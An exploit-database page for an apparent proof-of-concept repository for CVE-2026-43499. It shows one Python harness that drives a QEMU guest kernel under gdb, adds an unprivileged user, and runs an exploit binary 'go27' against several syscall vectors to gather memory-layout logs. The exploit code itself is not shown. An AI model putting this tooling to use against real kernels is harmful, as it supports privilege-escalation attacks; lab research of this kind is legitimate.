Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

168 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files354
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

workspace/qemu/run_one.py

Python · 1,403 bytes
#!/usr/bin/env python3
# single-vector geometry run: python3 run_one.py adj|prctl|writev|pselect
import sys, time, subprocess
sys.path.insert(0,'/mnt/d/project/ow/qemu')
from serial_drive import Console
vec=sys.argv[1] if len(sys.argv)>1 else 'adj'
gdb_log=open('/tmp/gdb27g_out.log','w')
gdb=subprocess.Popen(['gdb-multiarch','-q','/mnt/d/project/ow/qemu/vmlinux.clang',
  '-ex','set pagination off','-ex','target remote :1234',
  '-x','/mnt/d/project/ow/qemu/inject27g.py'],
  stdout=gdb_log, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
time.sleep(4)
c=Console(); time.sleep(1); c.send(''); c.read_some(3)
rc,out=c.run('adduser -D -H -u 1000 t 2>/dev/null; mkdir -p /tmp/exp; cp /root/exp/* /tmp/exp/; chmod -R 755 /tmp/exp; echo SETUP_OK',timeout=25)
print('SETUP:',rc, out[-200:])
rc,out=c.run('pkill -9 go27 2>/dev/null; cd /tmp/exp && (./go27 %s >/tmp/g27.log 2>&1 &); echo BG_OK'%vec,timeout=15)
print('BG:',rc, out[-200:])
time.sleep(19)
rc,out=c.run('cat /tmp/g27.log; echo LOGDONE; echo ALIVE_$(uname -r)',timeout=12)
print('==== GUEST LOG ====')
print(out[-2500:])
gdb.terminate(); time.sleep(1)
# ensure VM resumes after gdb detach
subprocess.run(['pkill','-9','gdb-multiarch'])
print('==== GDB GEOMETRY (%s) ===='%vec)
try: print(open('/tmp/gdb27g.log').read())
except Exception as e: print('no log',e)
print('==== gdb out tail ====')
print(open('/tmp/gdb27g_out.log').read()[-1500:])